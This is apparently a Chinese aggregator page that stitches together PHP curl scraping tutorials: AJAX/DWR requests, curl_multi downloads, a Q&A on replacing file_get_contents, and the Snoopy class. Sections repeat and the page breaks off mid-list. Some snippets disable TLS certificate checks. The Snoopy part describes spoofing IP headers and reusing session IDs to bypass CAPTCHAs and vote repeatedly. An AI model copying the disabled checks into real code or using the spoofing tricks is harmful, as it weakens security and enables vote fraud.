curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
我应该怎么做才能获得没有重定向的 URL 页面?
詹姆斯·安德森
为避免重定向,只需将这行代码添加到脚本中替换最后一行
//返回$result;
return str_replace("https://c.s-microsoft.com/en-u ... ot%3B,"",$result);
}
所以要加载的 javascript 不会将加载的页面重定向到无效的 URL。
如果有帮助,请检查并告诉我。
php curl抓取网页指定内容( 怎样抓取AJAX网站的内容?只不过异步内容 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-04-09 08:35
怎样抓取AJAX网站的内容?只不过异步内容
)
使用php方法curl抓取AJAX异步内容思路分析及代码分享
更新时间:2014年8月25日11:17:48投稿:hebedich
如何抓取AJAX网站的内容?这是一个热门问题,也是一个棘手的问题。但实际上,爬取ajax异步内容页面和普通页面并没有什么区别。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
其实捕获ajax异步内容页面和普通页面的区别不大。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
使用 Firebug 的网络工具
如果页面被抓取,内容中没有显示的数据就是一堆JS代码。
代码
$cookie_file=tempnam('./temp','cookie');
$ch = curl_init();
$url1 = "http://www.cdut.edu.cn/default.html";
curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_ENCODING ,'gzip'); //加入gzip解析
//设置连接结束后保存cookie信息的文件
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);
$content=curl_exec($ch);
curl_close($ch);
$ch3 = curl_init();
$url3 = "http://www.cdut.edu.cn/xww/dwr ... 3B%3B
$curlPost = "callCount=1&page=/xww/type/1000020118.html&httpSessionId=12A9B726E6A2D4D3B09DE7952B2F282C&scriptSessionId=295315B4B4141B09DA888D3A3ADB8FAA658&c0-scriptName=portalAjax&c0-methodName=getNewsXml&c0-id=0&c0-param0=string:10000201&c0-param1=string:1000020118&c0-param2=string:news_&c0-param3=number:5969&c0-param4=number:1&c0-param5=null:null&c0-param6=null:null&batchId=0";
curl_setopt($ch3,CURLOPT_URL,$url3);
curl_setopt($ch3,CURLOPT_POST,1);
curl_setopt($ch3,CURLOPT_POSTFIELDS,$curlPost);
//设置连接结束后保存cookie信息的文件
curl_setopt($ch3,CURLOPT_COOKIEFILE,$cookie_file);
$content1=curl_exec($ch3);
curl_close($ch3); 查看全部
php curl抓取网页指定内容(
怎样抓取AJAX网站的内容?只不过异步内容
)
使用php方法curl抓取AJAX异步内容思路分析及代码分享
更新时间:2014年8月25日11:17:48投稿:hebedich
如何抓取AJAX网站的内容?这是一个热门问题,也是一个棘手的问题。但实际上,爬取ajax异步内容页面和普通页面并没有什么区别。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
其实捕获ajax异步内容页面和普通页面的区别不大。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
使用 Firebug 的网络工具

如果页面被抓取,内容中没有显示的数据就是一堆JS代码。

代码
$cookie_file=tempnam('./temp','cookie');
$ch = curl_init();
$url1 = "http://www.cdut.edu.cn/default.html";
curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_ENCODING ,'gzip'); //加入gzip解析
//设置连接结束后保存cookie信息的文件
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);
$content=curl_exec($ch);
curl_close($ch);
$ch3 = curl_init();
$url3 = "http://www.cdut.edu.cn/xww/dwr ... 3B%3B
$curlPost = "callCount=1&page=/xww/type/1000020118.html&httpSessionId=12A9B726E6A2D4D3B09DE7952B2F282C&scriptSessionId=295315B4B4141B09DA888D3A3ADB8FAA658&c0-scriptName=portalAjax&c0-methodName=getNewsXml&c0-id=0&c0-param0=string:10000201&c0-param1=string:1000020118&c0-param2=string:news_&c0-param3=number:5969&c0-param4=number:1&c0-param5=null:null&c0-param6=null:null&batchId=0";
curl_setopt($ch3,CURLOPT_URL,$url3);
curl_setopt($ch3,CURLOPT_POST,1);
curl_setopt($ch3,CURLOPT_POSTFIELDS,$curlPost);
//设置连接结束后保存cookie信息的文件
curl_setopt($ch3,CURLOPT_COOKIEFILE,$cookie_file);
$content1=curl_exec($ch3);
curl_close($ch3);
php curl抓取网页指定内容( hebedichPHP利用Curl实现并发多线程下载文件以上就是)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-09 08:32
hebedichPHP利用Curl实现并发多线程下载文件以上就是)
PHP结合curl实现多线程爬取
更新时间:2015-07-09 11:09:13 发布者:hebedich
PHP可以使用Curl来完成各种文件传输操作,比如模拟浏览器发送GET、POST请求等。但是由于PHP语言本身不支持多线程,开发爬虫程序的效率不高,所以经常需要使用 Curl Multi Functions。实现并发多线程访问多个url地址实现并发多线程抓取网页或下载文件的功能
PHP结合curl实现多线程爬取
让我们再看几个例子
(1)下面的代码是爬取多个URL,然后将爬取到的URL的页面代码写入到指定文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
); // 设置要抓取的页面URL
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i], CURLOPT_FILE,$st); // 将爬取的代码写入文件
curl_multi_add_handle ($mh,$conn[$i]);
} // 初始化
do {
curl_multi_exec($mh,$active);
} while ($active); // 执行
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
} // 结束清理
curl_multi_close($mh);
fclose($st);
(2)下面的代码和上面类似,只不过这个地方是先把获取到的代码放到一个变量中,然后再将获取到的内容写入到指定的文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
);
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,true); // 不将爬取代码写到浏览器,而是转化为字符串
curl_multi_add_handle ($mh,$conn[$i]);
}
do {
curl_multi_exec($mh,$active);
} while ($active);
foreach ($urls as $i => $url) {
$data = curl_multi_getcontent($conn[$i]); // 获得爬取的代码字符串
fwrite($st,$data); // 将字符串写入文件
} // 获得数据变量,并写入文件
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
fclose($st);
(3)以下代码实现使用PHP的Curl Functions实现并发多线程下载文件
$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);
以上就是本文的全部内容,希望大家喜欢。 查看全部
php curl抓取网页指定内容(
hebedichPHP利用Curl实现并发多线程下载文件以上就是)
PHP结合curl实现多线程爬取
更新时间:2015-07-09 11:09:13 发布者:hebedich
PHP可以使用Curl来完成各种文件传输操作,比如模拟浏览器发送GET、POST请求等。但是由于PHP语言本身不支持多线程,开发爬虫程序的效率不高,所以经常需要使用 Curl Multi Functions。实现并发多线程访问多个url地址实现并发多线程抓取网页或下载文件的功能
PHP结合curl实现多线程爬取
让我们再看几个例子
(1)下面的代码是爬取多个URL,然后将爬取到的URL的页面代码写入到指定文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
); // 设置要抓取的页面URL
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i], CURLOPT_FILE,$st); // 将爬取的代码写入文件
curl_multi_add_handle ($mh,$conn[$i]);
} // 初始化
do {
curl_multi_exec($mh,$active);
} while ($active); // 执行
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
} // 结束清理
curl_multi_close($mh);
fclose($st);
(2)下面的代码和上面类似,只不过这个地方是先把获取到的代码放到一个变量中,然后再将获取到的内容写入到指定的文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
);
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,true); // 不将爬取代码写到浏览器,而是转化为字符串
curl_multi_add_handle ($mh,$conn[$i]);
}
do {
curl_multi_exec($mh,$active);
} while ($active);
foreach ($urls as $i => $url) {
$data = curl_multi_getcontent($conn[$i]); // 获得爬取的代码字符串
fwrite($st,$data); // 将字符串写入文件
} // 获得数据变量,并写入文件
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
fclose($st);
(3)以下代码实现使用PHP的Curl Functions实现并发多线程下载文件
$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);
以上就是本文的全部内容,希望大家喜欢。
php curl抓取网页指定内容(怎样用PHP或者js获取网页中某个部分的值-)
网站优化 • 优采云 发表了文章 • 0 个评论 • 191 次浏览 • 2022-04-06 01:17
if ($x=strpos($str,'')) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $ str=substr($str,0,$x);//输出结果 echo $str;?>
使用 php
卷曲
preg_match_all()
这两个可以解决你的问题。最好的办法是自己检查使用情况。
PHP网页在前端显示HTML(你看到的页面),不能修改,除非你有PHP网页所在服务器的IP地址、用户名和密码,并且可以登录服务器,然后才能修改它。
在php-中写一段代码提取网页的某个部分-: //获取网页的内容 $str=file_get_contents('#39;);//删除之前的内容 if ($x=strpos($ str,'' )) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $str=substr($str,0,$x );// 输出回显 $str;?>
php 从网页中获取某段代码 - : $url="";$str=file_get_contents($url); echo $str; 如果要获取某段代码,必须使用正则。
如何使用php或者js获取网页某部分的值——:首先要确定是否需要跨域访问你的目标站点:(跨域是指你当前是否URL和你输入的源一样,因为浏览器对跨域访问有限制,所以需要考虑这一点。)如果需要跨域访问,而aaa不允许跨域访问,这个可以只能在后端完成,否则可以在前端实现。然后简单说一下实现思路,不管是后端还是前端,思路都差不多。首先你发起一个http请求访问输入网站(前端自己发起ajax请求,后端节点可以使用$http模块发起请求,
我写了一个php采集器主要是采集某个网站文字信息,但是浏览?:这是因为,一般情况下,PHP脚本只能运行30秒左右,具体来说数据与服务器的设置有关。如果您的脚本超时,则需要拆分任务对。以任务中继的形式进行。当 PHP 页面...
请PHP高手帮忙解答。我有一个 网站 可以免费发布页面: $now_time = date("Ymd H:i:s"); $now_time = strtotime($now_time); $show_time = strtotime($_SESSION['time']); $dur = $now_time - $show_time; if($dur 全部
php如何获取网页中指定div块的内容-:simple_html_dom可以通过过滤CLASS获取,但是速度慢。建议通过正则表达式来确定你想要的div块或者取。
使用php获取指定网页的内容 - :可以使用正则匹配。发送网页 URL。
php从网页文本中提取数据-:第一个:explode list($var1, $var2, $var3) = explode(",", str_replace('"', '', $content));第二个:正则preg_match("/\d{3}\:\"(.*)\,(.*)\,(.*)\"/", $content, $result); 推荐第一个
PHP爬取网页的指定内容-:这个可以直接用Lesi采集系统完成
php中想要抓取网页中某条数据的代码——: 查看全部
php curl抓取网页指定内容(怎样用PHP或者js获取网页中某个部分的值-)
if ($x=strpos($str,'')) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $ str=substr($str,0,$x);//输出结果 echo $str;?>
使用 php
卷曲
preg_match_all()
这两个可以解决你的问题。最好的办法是自己检查使用情况。
PHP网页在前端显示HTML(你看到的页面),不能修改,除非你有PHP网页所在服务器的IP地址、用户名和密码,并且可以登录服务器,然后才能修改它。
在php-中写一段代码提取网页的某个部分-: //获取网页的内容 $str=file_get_contents('#39;);//删除之前的内容 if ($x=strpos($ str,'' )) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $str=substr($str,0,$x );// 输出回显 $str;?>
php 从网页中获取某段代码 - : $url="";$str=file_get_contents($url); echo $str; 如果要获取某段代码,必须使用正则。
如何使用php或者js获取网页某部分的值——:首先要确定是否需要跨域访问你的目标站点:(跨域是指你当前是否URL和你输入的源一样,因为浏览器对跨域访问有限制,所以需要考虑这一点。)如果需要跨域访问,而aaa不允许跨域访问,这个可以只能在后端完成,否则可以在前端实现。然后简单说一下实现思路,不管是后端还是前端,思路都差不多。首先你发起一个http请求访问输入网站(前端自己发起ajax请求,后端节点可以使用$http模块发起请求,
我写了一个php采集器主要是采集某个网站文字信息,但是浏览?:这是因为,一般情况下,PHP脚本只能运行30秒左右,具体来说数据与服务器的设置有关。如果您的脚本超时,则需要拆分任务对。以任务中继的形式进行。当 PHP 页面...
请PHP高手帮忙解答。我有一个 网站 可以免费发布页面: $now_time = date("Ymd H:i:s"); $now_time = strtotime($now_time); $show_time = strtotime($_SESSION['time']); $dur = $now_time - $show_time; if($dur 全部
php如何获取网页中指定div块的内容-:simple_html_dom可以通过过滤CLASS获取,但是速度慢。建议通过正则表达式来确定你想要的div块或者取。
使用php获取指定网页的内容 - :可以使用正则匹配。发送网页 URL。
php从网页文本中提取数据-:第一个:explode list($var1, $var2, $var3) = explode(",", str_replace('"', '', $content));第二个:正则preg_match("/\d{3}\:\"(.*)\,(.*)\,(.*)\"/", $content, $result); 推荐第一个
PHP爬取网页的指定内容-:这个可以直接用Lesi采集系统完成
php中想要抓取网页中某条数据的代码——:
php curl抓取网页指定内容(-get-contents我使用file_get_contents函数)
网站优化 • 优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-04-06 01:14
标签:phpcurlfile-get-contents
我使用 file_get_contents 函数在我的特定页面上获取和显示外部链接。
在我的本地文件中一切正常,但我的服务器不支持 file_get_contents 功能,所以我尝试使用 cURL 和下面的代码:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo file_get_contents_curl('http://google.com');
但它返回一个空白页。有什么问题?
4 个答案:
答案 0 :( 得分:75)
试试这个:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
答案 1 :( 得分:10)
这应该可以工作
function curl_load($url){
curl_setopt($ch=curl_init(), CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$url = "http://www.google.com";
echo curl_load($url);
答案 2 :( 得分:3)
//你可以试试这个。它应该可以正常工作。
function curl_tt($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo curl_tt("https://google.com");
答案 3 :( 得分:2)
我在通过直接链接访问 Google 云端硬盘内容时遇到了这个问题。
调用file_get_contents后返回302暂时移动
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$html = file_get_contents($url);
echo $html; //print none because error 302.
它再次使用以下代码:
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$html = curl_exec($ch);
curl_close($ch);
echo $html;
我今天测试了它,03/19/201 查看全部
php curl抓取网页指定内容(-get-contents我使用file_get_contents函数)
标签:phpcurlfile-get-contents
我使用 file_get_contents 函数在我的特定页面上获取和显示外部链接。
在我的本地文件中一切正常,但我的服务器不支持 file_get_contents 功能,所以我尝试使用 cURL 和下面的代码:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo file_get_contents_curl('http://google.com');
但它返回一个空白页。有什么问题?
4 个答案:
答案 0 :( 得分:75)
试试这个:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
答案 1 :( 得分:10)
这应该可以工作
function curl_load($url){
curl_setopt($ch=curl_init(), CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$url = "http://www.google.com";
echo curl_load($url);
答案 2 :( 得分:3)
//你可以试试这个。它应该可以正常工作。
function curl_tt($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo curl_tt("https://google.com");
答案 3 :( 得分:2)
我在通过直接链接访问 Google 云端硬盘内容时遇到了这个问题。
调用file_get_contents后返回302暂时移动
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$html = file_get_contents($url);
echo $html; //print none because error 302.
它再次使用以下代码:
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$html = curl_exec($ch);
curl_close($ch);
echo $html;
我今天测试了它,03/19/201
php curl抓取网页指定内容(Snoopy($uri)的一些功能特点及特点分析 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-04-04 01:17
)
snoopy 是一个模仿 Web 浏览器功能的 php 类,可以执行诸如获取网页内容和发送表单等任务。官方网站
史努比的一些特点:
需要php4或更高版本。由于是php类,不需要扩展,是服务器不支持curl时的最佳选择。
类方法
1.获取($uri)
这是用于抓取网页内容的方法。 $URI 参数是被抓取网页的 URL 地址。获取的结果存储在 $this->results 中。
如果你正在抓取一个帧,Snoopy 将跟踪每个帧并将其存储在一个数组中,然后 $this->results。
2.fetchtext($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的文本内容。
3.fetchform($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的表单内容(form)。
4.fetchlinks($URI)
这个方法和fetch()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
5.提交($URI,$formvars)
此方法向 $URL 指定的链接地址发送确认表单。 $formvars 是一个存储表单参数的数组。
6.提交文本($URI,$formvars)
该方法与submit()类似,唯一不同的是该方法会去除HTML标签等无关数据,登录后只返回网页的文本内容。
7.提交链接($URI)
这个方法和submit()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
演示
include "Snoopy.class.php";$snoopy = new Snoopy;
$snoopy->proxy_host = "http://www.nowamagic.net/librarys/veda/";
$snoopy->proxy_port = "80";
$snoopy->agent = "(compatible; MSIE 4.01; MSN 2.5; AOL 4.0; Windows 98)";
$snoopy->referer = "http://www.4wei.cn";
$snoopy->cookies["SessionID"] = 238472834723489l;
$snoopy->cookies["favoriteColor"] = "RED";
$snoopy->rawheaders["Pragma"] = "no-cache";
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
$snoopy->user = "joe";
$snoopy->pass = "bloe";
if($snoopy->fetchtext("http://www.4wei.cn"))
{
echo "".htmlspecialchars($snoopy->results)."
n";
}
其他
echo "获取文档时出错:".$snoopy->error."n";
获取指定url的内容:
表单提交:
现在表单已经提交,可以做很多事情。接下来,我们伪装ip,伪装浏览器:
原来我们可以伪装session,伪装浏览器,伪装ip,哈哈可以做很多事情。比如有验证码,验证ip投票,就可以继续投票。
ps:这里的伪装ip其实就是伪装http头,所以一般通过REMOTE_ADDR获取的ip是无法伪装的,但是通过http头获取ip的(可以防止代理的那种)可以自己创建ip .
关于如何验证码,简单来说:先用普通浏览器,查看页面,找到验证码对应的sessionid,记下sessionid和验证码值,然后用snoopy进行伪造。
原理:因为是同一个sessionid,所以得到的验证码和第一次输入的一样。
有时我们可能需要伪造更多的东西,史努比完全为我们解决了这个问题:
比较完整的演示
/**
* You need the snoopy.class.php from
* http://snoopy.sourceforge.net/
*/
include("snoopy.class.php");
$snoopy = new Snoopy;
// need an proxy?:
//$snoopy->proxy_host = "my.proxy.host";
//$snoopy->proxy_port = "8080";
// set browser and referer:
$snoopy->agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$snoopy->referer = "http://www.jonasjohn.de/";
// set some cookies:
$snoopy->cookies["SessionID"] = '238472834723489';
$snoopy->cookies["favoriteColor"] = "blue";
// set an raw-header:
$snoopy->rawheaders["Pragma"] = "no-cache";
// set some internal variables:
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
// set username and password (optional)
//$snoopy->user = "joe";
//$snoopy->pass = "bloe";
// fetch the text of the website www.google.com:
if($snoopy->fetchtext("http://www.baidu.com")){
// other methods: fetch, fetchform, fetchlinks, submittext and submitlinks
// response code:
print "response code: ".$snoopy->response_code."
n";
// print the headers:
print "<b>Headers:
";
while(list($key,$val) = each($snoopy->headers)){
print $key.": ".$val."
n";
}
print "
n";
// print the texts of the website:
print htmlspecialchars($snoopy->results)."n";
}
else {
print "Snoopy: error while fetching document: ".$snoopy->error."n";
}
使用史努比类完成一张简单的图片采集:
<p> 查看全部
php curl抓取网页指定内容(Snoopy($uri)的一些功能特点及特点分析
)
snoopy 是一个模仿 Web 浏览器功能的 php 类,可以执行诸如获取网页内容和发送表单等任务。官方网站
史努比的一些特点:
需要php4或更高版本。由于是php类,不需要扩展,是服务器不支持curl时的最佳选择。
类方法
1.获取($uri)
这是用于抓取网页内容的方法。 $URI 参数是被抓取网页的 URL 地址。获取的结果存储在 $this->results 中。
如果你正在抓取一个帧,Snoopy 将跟踪每个帧并将其存储在一个数组中,然后 $this->results。
2.fetchtext($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的文本内容。
3.fetchform($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的表单内容(form)。
4.fetchlinks($URI)
这个方法和fetch()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
5.提交($URI,$formvars)
